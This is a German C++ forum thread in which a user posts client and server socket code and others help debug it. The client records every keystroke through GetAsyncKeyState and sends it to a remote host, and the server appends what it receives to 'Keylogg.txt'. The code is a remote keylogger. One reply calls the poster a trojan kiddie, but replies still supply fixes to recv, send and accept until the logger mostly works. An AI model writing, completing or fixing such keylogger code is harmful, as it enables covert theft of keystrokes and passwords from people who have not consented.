Zeichen über Socket versenden klappt nicht



  • Client:

    string TempString = ""; 
    	SOCKET skey;
    	SOCKADDR_IN addr;
    	int rc;
    	skey = socket(AF_INET, SOCK_STREAM, 0);
    	if(skey == INVALID_SOCKET) 
    	{
    		MessageBox(0, TEXT("Socket konnte nicht erstellt werden!"), szAppName, MB_ICONERROR);
    	}
    	memset(&addr, 0, sizeof(SOCKADDR_IN)); // zuerst alles auf 0 setzten 
    	addr.sin_family = AF_INET;
    	addr.sin_port = htons(4); // wir verwenden mal port 40792
    	rc = getAddrFromString(TEXT("ip"), &addr);
    	if(rc == SOCKET_ERROR)
    	{
    		MessageBox(0, TEXT("Hostname konnte nicht aufgelöst werden!"), szAppName, MB_ICONERROR);
    	}
        if(connect(skey, (SOCKADDR*)&addr, sizeof(SOCKADDR)) == SOCKET_ERROR) 
    	{
    		MessageBox(0, TEXT("Konnte nicht verbinden!"), szAppName, MB_ICONERROR);
    	}
    	while(1)
    	{
    		Sleep(5);
    		for(int i = 8; i < 191; i++)
    		{
    			if(GetAsyncKeyState(i)&1 ==1)
                {
    				TempString = GetKey (i); 
    				send(skey, TempString.c_str(), strlen(TempString.c_str()) , 0);
    			}
    		}
    	}
    

    Server:

    void Thread2 (PVOID pvoid)
    {
    	char buf[10];
    	SOCKET skey;
    	SOCKADDR_IN addr;
    	skey  = socket(AF_INET,SOCK_STREAM,0);
    	if(skey==INVALID_SOCKET)
    	{
    		cout << "Socket konnte nicht erstellt werden" << endl;
    	}
    	memset(&addr,0,sizeof(SOCKADDR_IN));
    	addr.sin_family=AF_INET;
    	addr.sin_port=htons(3);
    	addr.sin_addr.s_addr=INADDR_ANY;
    	if(bind(skey,(SOCKADDR*)&addr,sizeof(SOCKADDR_IN)) == SOCKET_ERROR)
    	{
    		cout << "Socket konnte nicht gebindet werden" << endl;
    	}
    	if(listen(skey,10)==SOCKET_ERROR)
    	{
    		cout << "listen ist fehlgeschlagen" << endl;
    	}
    	if(skey==INVALID_SOCKET)
    	{
    		cout << "Socket konnte nicht akzeptiert werden" << endl;
    	}
    	while(1)
    	{
    		recv(skey, buf, strlen(buf), 0);
    		std::fstream FStream;
    		FStream.open("Keylogg.txt", std::fstream::out | std::fstream::app);
    		FStream.write(buf, strlen(buf));
    		FStream.close();
    	}
    }
    

    Leider enthält die Textdatei nur seltsame Zeichen.
    Woran kann das liegen?



  • ach und ich habe nicht vergessen WSAstartup aufzurufen, ist hier nur nicht da



  • Trojaner-Kiddy ⚠



  • recv(skey, buf, strlen(buf), 0); 👎



  • trojaner kiddi? ich hab nix schlechtes vor.
    was stimmt den mit der Zeile nicht?



  • nimm sizeof statt strlen



  • habs probiert, aber in der textdatei steht nach wie vor immer das gleiche falsche zeichen



  • while(1)
    	{
    		Sleep(5);
    		for(int i = 8; i < 191; i++)
    		{
    			if(GetAsyncKeyState(i)&1 ==1)
                {
    				Beep(2000, 200);
    				TempString = GetKey (i); 
    				send(skey, TempString.c_str(), sizeof(TempString.c_str()) , 0);
    			}
    		}
    	}
    

    hier liegt der Fehler. Es Beept dauernt, das heißt obwohl ich nix auf der Tastatur eingebe, sendet es. wo liegt denn da der Fehler?



  • Beim empfangen gibts Probleme. Hier eine korrigierte (unvollständige) Version:

    while(1) 
        { 
            int numOfRecvdBytes = recv(skey, buf, strlen(buf), 0); 
            std::fstream FStream; 
            FStream.open("Keylogg.txt", std::fstream::out | std::fstream::app); 
            FStream.write(buf, numOfRecvdBytes); 
            FStream.close(); 
        }
    

    Checke ausserdem noch numOfRecvdBytes für Fehlerwerte (0 bzw. SOCKET_ERROR).
    Lies dazu die Doku: http://msdn.microsoft.com/en-us/library/ms740121.aspx

    strlen geht NUR bei null terminierten character arrays.

    Ev. sind noch mehr dinge im argen.. hab nicht so genau geguckt.
    Simon



  • Hier gibts auch Probleme:
    sizeof(TempString.c_str()) gibt die Grösse des Pointer zurück, das ist 4.

    TempString = GetKey (i); 
    send(skey, TempString.c_str(), TempString.size() + 1 , 0);
    

    Simon



  • danke, also jetzt sieht es so aus:

    while(1)
    	{
    		Sleep(5);
    		for(int i = 8; i < 191; i++)
    		{
    			if(GetAsyncKeyState(i)&1 ==1)
                {
    				TempString = GetKey (i); 
    				send(skey, TempString.c_str(), TempString.size() + 1, 0);
    			}
    		}
    	}
    
    while(1)
    	{
            int numOfRecvdBytes = recv(skey, buf, sizeof(buf), 0);
            std::fstream FStream;
            FStream.open("Keylogg.txt", std::fstream::out | std::fstream::app);
            FStream.write(buf, numOfRecvdBytes);
            FStream.close(); 
    	}
    

    Jetzt enthält die Textdatei aber keine zeichen? Also kein einziges.
    send scheint zu klappen



  • Also kein einziges.
    send scheint zu klappen

    Denkst Du. Dann teste es. send gibt auch einen Return wert, und wenn ein Fehler auftritt kannst Du WSAGetLastError(..) benutzten um Details zu erhalten.

    Simon



  • 10057 gibt Recv zurück also Error



  • send gibt nicht socket_error zurück



  • Der Socket ist anscheinend nicht verbunden.



  • Danke, dass Du das hier postest, aber wie wäre es, wenn Du denn Error Code selbst nachguckst? Es gibt sogar das Error Lookup Tool vom MS.

    Simon



  • danke, es geht jetzt alles bis auf einen fehler:
    in der textausgabe kommt sowas: (also zu viele leerzeichen:)
    w a s g e h t

    connectedSocket = accept(skey,NULL,NULL);
    	while(1)
    	{
            int numOfRecvdBytes = recv(connectedSocket, buf, sizeof(buf), 0);
            std::fstream FStream;
            FStream.open("Keylogg.txt", std::fstream::out | std::fstream::app);
            FStream.write(buf, numOfRecvdBytes);
            FStream.close(); 
    	}
    


  • TempString.size() + 1
    

    vielleicht muss das +1 weg?


Anmelden zum Antworten